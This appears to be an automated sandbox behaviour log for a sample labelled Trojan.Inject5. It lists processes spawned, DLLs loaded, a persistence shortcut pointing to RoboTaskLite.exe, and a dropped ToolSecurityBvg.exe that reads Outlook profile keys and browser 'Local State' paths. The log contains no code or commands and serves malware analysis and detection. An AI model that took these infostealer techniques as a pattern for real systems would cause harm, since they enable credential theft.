Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5492 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2192,i,6562576749522032419,7349567095468573079,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2060,i,3715829318677886793,66781582014580477,262144 /prefetch:3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: msi.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: cabinet.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: msxml3.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: feclient.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: msi.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: cabinet.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: msxml3.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: feclient.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: oledlg.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: pla.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: pdh.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: tdh.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: cabinet.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: wevtapi.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: shdocvw.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: oledlg.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: pla.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: pdh.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: tdh.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: cabinet.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: wevtapi.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: shdocvw.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: winbrand.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: linkinfo.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntshrui.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cscapi.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: bitsproxy.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: shdocvw.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: webio.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: schannel.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: oledlg.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: pla.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: pdh.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: tdh.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: cabinet.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: wevtapi.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeSection loaded: shdocvw.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: shdocvw.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: webio.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: schannel.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F6D90F11-9C73-11D3-B32E-00C04F990BB4}\InProcServer32Jump to behavior
Source: xkdevyl.4.drLNK file: ..\..\Roaming\Supersync\RoboTaskLite.exe
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic file information: File size 10082132 > 1048576
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: gC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\te source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntkrnlmp.pdb#W source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2p source: ToolSecurityBvg.exe, 0000000A.00000003.2595426913.0000000002E4F000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: D:\a\wix4\wix4\build\burn\Release\x86\burn.pdb source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000002.2121807166.00000000007EE000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000000.1788209677.00000000007EE000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2119327647.0000000000D7E000.00000002.00000001.01000000.00000005.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000000.1797631027.0000000000D7E000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: l\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State`qP source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: ToolSecurityBvg.exe, 0000000A.00000003.2595426913.0000000002E4F000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local StateNb source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2661777601.0000000002EBA000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2658753495.0000000002EB6000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831{vZ source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntkrnlmp.pdb source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: jC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
